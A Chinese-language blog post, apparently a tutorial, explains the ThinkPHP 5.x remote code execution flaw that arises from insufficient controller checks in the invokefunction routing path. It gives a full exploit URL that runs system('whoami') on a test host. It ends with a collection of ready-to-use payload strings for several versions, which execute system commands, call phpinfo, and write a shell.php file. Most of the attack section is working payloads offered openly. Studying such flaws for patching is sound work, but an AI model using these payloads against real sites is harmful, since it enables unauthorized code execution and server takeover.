先來簡單說說前天thinkphp官方修復的一個getshell漏洞，框架對控制器沒有進行足夠的檢測導致的一處getshell

影響的范圍: 5.x < 5.1.31, <= 5.0.23

漏洞危害: 導致系統(tǒng)被提權(你懂的)

這里附上一個自己測試的 thinkphp的 鏈接? http://www.thinkphp.cn/download/1260.html? 版本是5.0.22

先來講下,5.0 跟5.1的區(qū)別吧，tp5.1中引入了容器(Container)和門面(Facade)這兩個新的類? tp5.0是沒有這兩個新的類的，

漏洞原理

URL：http://192.168.188.141/public/index.php?s=index/\think\app/invokefunction

我們先來看看App類里的 exec函數(shù)里的執(zhí)行分層控制器的操作

我們這里是把controller 的調(diào)用信息跟配置信息全部傳到了 invokeFunction 這個 執(zhí)行函數(shù)里面去了

因為think\App是第二個入口，在tp運行的時候就會被加載 所以用think\App里面的分層控制器的執(zhí)行操作的時候,需要去調(diào)用invokeFunction這個函數(shù)。

這個函數(shù)有兩個參數(shù),如上圖所示，第一個是函數(shù)的名字，第二個參數(shù)數(shù)組，比如$function傳入BaiDu然后$vars傳入[12,555]就相當于調(diào)用BaiDu(12,555)

此處我們把function傳入call_user_func_array然后vars[0]傳入我們要執(zhí)行的函數(shù)的名字vars[1]傳入要執(zhí)行函數(shù)的參數(shù)，因為vars是個數(shù)組 所以此處我們的get請求需要這樣寫

vars[]=函數(shù)名&vars[1][]=參數(shù)

此處是利用php的數(shù)組注入

此時此刻就可以開始利用遠程代碼執(zhí)行漏洞了 比如我們要執(zhí)行system函數(shù) 他的參數(shù)是whoami

http://192.168.188.141/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

下面你懂的,作為一個接班人我們要做的就是修復他(為所欲為?)，當然官方更新的最新版本是已經(jīng)修復了的

這里就代碼執(zhí)行成功，以下奉獻上tp不同版本的payload

?s=index/\think\Request/input&filter=phpinfo&data=1
?s=index/\think\Request/input&filter=system&data=id
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=
?s=index/\think\view\driver\Php/display&content=
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

以上就是本文的全部內(nèi)容，希望對大家的學習有所幫助，也希望大家多多支持主機吧。